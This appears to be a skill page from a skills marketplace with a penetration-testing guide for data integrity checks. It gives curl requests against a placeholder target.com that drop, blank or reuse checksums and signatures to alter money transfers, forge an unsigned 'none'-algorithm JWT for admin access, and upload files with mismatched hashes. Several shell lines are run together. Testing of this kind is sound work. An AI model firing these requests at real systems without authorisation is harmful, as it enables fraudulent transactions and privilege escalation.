Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Integrity testing examines whether an application properly validates that data has not been tampered with during transmission or storage. Applications may rely on checksums, hashes, digital signatures, or HMAC to ensure data integrity. This test identifies weaknesses in integrity verification mechanisms that allow attackers to modify data without detection, potentially leading to fraud, unauthorized transactions, or data corruption.
# Original request with checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"checksum": "valid_checksum_here"
}'# Test without checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100
}'# Test with empty checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"checksum": ""
}'# Test with invalid checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from": "account1",
"to": "account2",
"amount": 100,
"checksum": "invalid"
}'
Step 3: Test Data Modification with Same Checksum
# Original data with valid checksum
original_checksum="abc123..."# Modify data, keep same checksum
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"from\": \"account1\",
\"to\": \"attacker\",
\"amount\": 10000,
\"checksum\": \"$original_checksum\"
}"
Step 4: Analyze Hash Algorithm
# Collect multiple checksums# Try to identify algorithm by length/format# MD5: 32 hex characters# SHA1: 40 hex characters# SHA256: 64 hex characters# Base64 encoded will be different lengths# Example: If you can control input and see checksumfor value intest test2 test3; do
response=$(curl -s "https://target.com/api/generate?value=$value" \
-H "Authorization: Bearer $TOKEN")
echo"$value: $response"done# Compare with known algorithmsecho -n "test" | md5sumecho -n "test" | sha1sumecho -n "test" | sha256sum
Step 5: Test Signature Verification
# If API uses signed requests# Try request without signature header
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100}'# Try with malformed signature
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "X-Signature: invalid_signature" \
-d '{"amount": 100}'# Try signature from different request
curl -s -X POST "https://target.com/api/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "X-Signature: $OLD_VALID_SIGNATURE" \
-d '{"amount": 999999}'
Step 6: Test Cookie/Token Integrity
# JWT without signature verification# Original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidXNlciJ9.signature# Modify payload and use "none" algorithm# Header: {"alg": "none"}# Payload: {"user": "admin"}# Base64 encode and send
modified_jwt="eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ."
curl -s "https://target.com/api/admin" \
-H "Authorization: Bearer $modified_jwt"# Test with empty signature
curl -s "https://target.com/api/admin" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ."
Step 7: Test File Integrity
# If application verifies file integrity# Upload file with modified content but same hash# Check for hash collision vulnerability (MD5)# Two different files with same MD5# Test without integrity header
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@malicious.pdf"# Test with mismatched hash
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-H "X-File-Hash: wrong_hash" \
-F "file=@malicious.pdf"